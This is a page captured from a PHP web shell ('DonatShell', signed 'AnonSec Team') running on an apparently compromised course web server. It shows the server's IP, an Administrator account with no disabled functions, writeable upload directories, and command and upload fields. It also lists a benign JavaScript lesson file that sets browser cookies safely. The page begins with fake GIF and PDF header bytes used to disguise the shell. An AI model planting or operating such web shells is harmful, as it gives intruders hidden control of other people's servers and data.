GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1022/Resources/Week/12/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1022/Resources/Week/12/Cookies.js
        "use strict";
        // These cookies may not be safe because they are not encoded for URI escaping.
        /** /
        document.cookie = "user=John"; // update only cookie named 'user'
        document.cookie = "name=Jim Martinson"; // update only cookie named 'user'
        document.cookie = "user=JimM"; // update only cookie named 'user'
        document.cookie = "ooga"; // create a cookie with a blank item name
        document.cookie = "booga"; // change the value
        /**/
        
        // These use encodeURIComponent to create the cookie in a safe manner
        /** /
        document.cookie = `${encodeURIComponent('user')}=${encodeURIComponent('John')}`; // update only cookie named 'user'
        document.cookie = `${encodeURIComponent('name')}=${encodeURIComponent('Jim Martinson')}`;
        /**/

        // Cookies that expire and set secure.
        /**/
        let date, maxAge;
        // Create user cookie
        date = new Date(Date.now() + 86400e3);
        console.log(`date = ${date}`);
        document.cookie = `${encodeURIComponent('user')}=${encodeURIComponent('John')}; expires=${date.toUTCString()}; secure; samesite=lax`; // update only cookie named 'user'
        // Create name cookie
        date = new Date(Date.now() + 15e3);
        console.log(`date = ${date}`);
        document.cookie = `${encodeURIComponent('name')}=${encodeURIComponent('Jim Martinson')}; expires=${date.toUTCString()}; secure; samesite=lax`;
        // Create cookie using max-age
        maxAge = 30;
        document.cookie = `${encodeURIComponent('aged')}=${encodeURIComponent(maxAge)}; max-age=${maxAge}; secure; samesite=lax`;
        /**/

        console.log(document.cookie); // show all cookies

Anon7 - 2022
AnonSec Team